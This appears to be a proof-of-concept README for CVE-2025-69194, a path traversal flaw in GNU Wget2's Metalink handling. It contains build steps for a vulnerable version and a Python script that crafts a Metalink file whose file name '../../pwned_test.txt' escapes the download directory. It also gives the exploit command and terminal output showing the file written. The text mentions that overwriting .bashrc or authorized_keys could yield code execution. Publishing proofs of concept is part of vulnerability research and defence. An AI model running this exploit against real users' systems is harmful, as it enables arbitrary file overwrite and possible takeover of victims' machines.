
PoC for CVE-2025-69194, a Path Traversal vulnerability in GNU Wget2 <= 2.2.0. This vulnerability allows attackers to achieve arbitrary file write or overwrite on the victim's filesystem by providing a malicious Metalink file with manipulated file name attributes.
CVE-2025-69194에 대한 PoC로, GNU Wget2 <= 2.2.0 (v1.99.1에서 확인됨)에서 발견된 심각한 경로 탐색(Path Traversal) 취약점입니다. 이 취약점을 통해 공격자는 조작된 file name 속성을 가진 악의적인 Metalink 파일을 제공하여 피해자 파일시스템에 임의 파일 쓰기 또는 덮어쓰기를 수행할 수 있습니다.
Wget2가 --force-metalink 옵션을 사용하여 Metalink 파일을 처리할 때, 디렉터리 탐색 시퀀스(예: ../../)를 적절히 검증하지 않습니다. 이로 인해 공격자가 민감한 시스템 파일(예: .bashrc, .ssh/authorized_keys)이나 시스템 바이너리를 덮어쓰는 경우 원격 코드 실행(RCE) 으로 이어질 수 있습니다.
취약점을 정확히 재현하기 위해, 취약한 Metalink 모듈이 활성화되어 있고 패치되지 않은 상태를 보장하기 위해 Wget2 v1.99.1을 소스에서 컴파일합니다.
sudo apt update && sudo apt install -y build-essential libgnutls28-dev libxml2-dev \
libzstd-dev liblzma-dev libpcre2-dev libidn2-dev libpsl-dev \
libbrotli-dev autoconf automake libtool gettext pkg-config python3
wget https://ftp.gnu.org/gnu/wget/wget2-1.99.1.tar.gz
tar -xvf wget2-1.99.1.tar.gz && cd wget2-1.99.1
./configure --with-libxml2
make -j$(nproc)
sudo make install && sudo ldconfig
# 설치 확인 (+metalink 지원 필요)
wget2 --version | grep -E "1.99.1|metalink"
공격자는 악성 .metalink 파일과 해당 페이로드를 호스팅합니다. 다음을 poc.py로 저장하세요:
import os
import hashlib
import http.server
import socketserver
import threading
import time
# --- 配置区 ---
TARGET_FILE_NAME = "../../pwned_test.txt" # 想要穿越到的目标路径
PAYLOAD_CONTENT = "pwned by CVE-2025-69194\n"
PORT = 8000
METALINK_FILE = "exploit.metalink"
PAYLOAD_FILE = "evil.dat"
def create_files():
# 1. 创建载荷文件
with open(PAYLOAD_FILE, "w") as f:
f.write(PAYLOAD_CONTENT)
# 计算 SHA256
sha256_hash = hashlib.sha256(PAYLOAD_CONTENT.encode()).hexdigest()
file_size = len(PAYLOAD_CONTENT)
# 2. 构造恶意的 Metalink 结构
metalink_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<metalink xmlns="http://www.metalinker.org/">
<files>
<file name="{TARGET_FILE_NAME}">
<size>{file_size}</size>
<verification>
<hash type="sha256">{sha256_hash}</hash>
</verification>
<resources>
<url type="http">http://127.0.0.1:{PORT}/{PAYLOAD_FILE}</url>
</resources>
</file>
</files>
</metalink>
'''
with open(METALINK_FILE, "w") as f:
f.write(metalink_content)
print(f"[+] 恶意文件 {METALINK_FILE} 已生成。")
def start_server():
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", PORT), handler) as httpd:
print(f"[*] 恶意服务器已在端口 {PORT} 启动...")
httpd.serve_forever()
if __name__ == "__main__":
# 清理旧文件
if os.path.exists(TARGET_FILE_NAME):
os.remove(TARGET_FILE_NAME)
create_files()
# 启动后台服务器
server_thread = threading.Thread(target=start_server, daemon=True)
server_thread.start()
time.sleep(1) # 等待服务器就绪
print("\n[!] 现在请在另一个终端执行以下命令进行复现:")
print(f"wget2 --force-metalink -i {METALINK_FILE}")
print(f"\n[!] 执行后,检查目标文件是否存在:")
print(f"ls {TARGET_FILE_NAME} && cat {TARGET_FILE_NAME}")
# 保持主线程运行
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[+] 演示结束,正在清理...")
하위 디렉터리(예: ~/Downloads/CVE-2025-69194/)에서 다음 명령을 실행하여 디렉터리 이스케이프를 확인합니다:
# 사전 확인: 상위 디렉터리에 파일이 없는지 확인
ls ../../pwned_test.txt
# 익스플로잇 실행
wget2 --force-metalink -i exploit.metalink
취약점은 Metalink 파싱 로직에서 name 속성이 정규화 없이 신뢰되는 부분에 존재합니다.
| 단계 | 설명 |
|---|---|
| 입력 | Wget2가 <file name="../../pwned_test.txt">를 읽음. |
성공적인 재현 결과, 실행 폴더보다 두 단계 위에 pwned_test.txt 파일이 생성되었습니다:
lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt
ls: cannot access '../../pwned_test.txt': No such file or directory
lele@u22:~/Downloads/CVE-2025-69194$ wget2 --force-metalink -i exploit.metalink
downloading part 1/1 (0-23) ../../pwned_test.txt from 127.0.0.1
HTTP response 200 OK [http://127.0.0.1:8000/evil.dat]
part 1 downloaded
../../pwned_test.txt checking...
Checksum OK for '../../pwned_test.txt'
lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt && cat ../../pwned_test.txt
../../pwned_test.txt
pwned by CVE-2025-69194

이 도구는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 저자는 이 정보의 오용으로 인해 발생하는 모든 피해에 대해 책임을 지지 않습니다. 승인되지 않은 컴퓨터 시스템 접근은 엄격히 금지됩니다.
| 우회 | 경로에 ../가 포함되어 있거나 CWD를 벗어나려는 시도가 있는지 검사하지 않음. |
| 쓰기 | Wget2가 확인된 경로 CWD + ../../pwned_test.txt를 열고 검증된 페이로드를 기록함. |